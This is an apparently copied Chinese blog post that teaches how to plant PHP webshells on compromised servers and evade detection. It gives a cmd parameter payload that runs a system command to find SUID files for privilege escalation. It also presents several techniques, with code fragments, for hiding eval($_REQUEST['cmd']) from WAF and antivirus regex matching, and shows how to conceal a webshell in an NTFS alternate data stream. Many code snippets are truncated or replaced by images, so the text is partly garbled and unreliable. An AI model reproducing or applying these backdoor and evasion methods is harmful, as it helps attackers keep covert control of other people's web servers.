webshell以及免杀方式

Webshell简介

Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称作为一种网页后门。
攻击者在入侵了一个网站后,通常将asp或php后门文件与网站服务器Web目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的

Webshell的作用

1、维持远程访问
2、全线提升
3、发动网络攻击

这里介绍一种使用SUID提权的方式
1、通过下面的命令找到机器具有SUID权限的文件
test.php?cmd=system( "find / -user root -perm -4000 -print 2> /dev/null");

SUID权限
find函数使用过程

免杀

目前的安全产品对于木马查杀使用的正则匹配的方式,因此我们要做到免杀首先要清楚安全防护软件匹配的内容。
eval是一个危险函数,但是并不是简单的知识匹配eval,通过测试发现,淡村的eval并不会被过滤,实际过滤的内容为


image.png

免杀-常量定义


上面的代码通过定义常量的方式将eval与(dollar符号+短下划线)REQUEST行了拆分
进测试该代码可以绕过WAF的检查
同时在执行的时候a会被替换为$_REQUEST[cmd]
能够完成Webshell的功能

免杀-定义函数


上面的代码通过定义函数的方式将eval与(dollar符号)+_REQUEST进行了拆分
进检测该代码可以绕过WAF的检查
通过自定义的函数将(dollar符号)+_REQUEST原样输出,将eval与(dollar符号)+_REQUEST拆分开

免杀-定义类

name");
     }
}
?>

类在析构的时候会调用 _destruct()方法,而该方法的作用是调用eval执行name中的内容,name被赋值为了 (dollar符号)+_REQUEST['cmd'],也就是说类在析构的时候调用了eval($_REQUEST['cmd'])
上面的代码通过定义类的魔术方法的方式将eval与(dollar符号)+_REQUEST进行了拆分
进检测该代码可以绕过WAF的检查

免杀-多方式传参

$value)
{
     if($key=='assert')
     {
         $key($_REQUEST['cmd']) ;
     } 
}
?>

上面的代码需要结合对脚本的传参才能够发挥Webshell的租用,是一种比较强的绕过方式

免杀-特殊调用

使用特殊的调用方式assert函数


经测试该种方式可以绕过WAF的检查
具体原因:

image.png

隐藏Webshell

NTFS交换数据流
1.它是NTFS磁盘的一个特性
2.存在主流文件和非主流文件的区分
3.主文件流能够直接看到;而非主文件六寄宿于主文件流中,无法直接读取,这个非主文件流就是NTFS交换数据流。
4.格式

  宿主文件:关联的数据流文件
  例如:1.txt:2.txt,2txt寄生在1.txt文件上

5.这里所创建的是一个单独的文件流:new.php
这种隐写方式依赖于NTFS文件流,因此该种方法只适用于Windows。

你可能感兴趣的:(webshell以及免杀方式)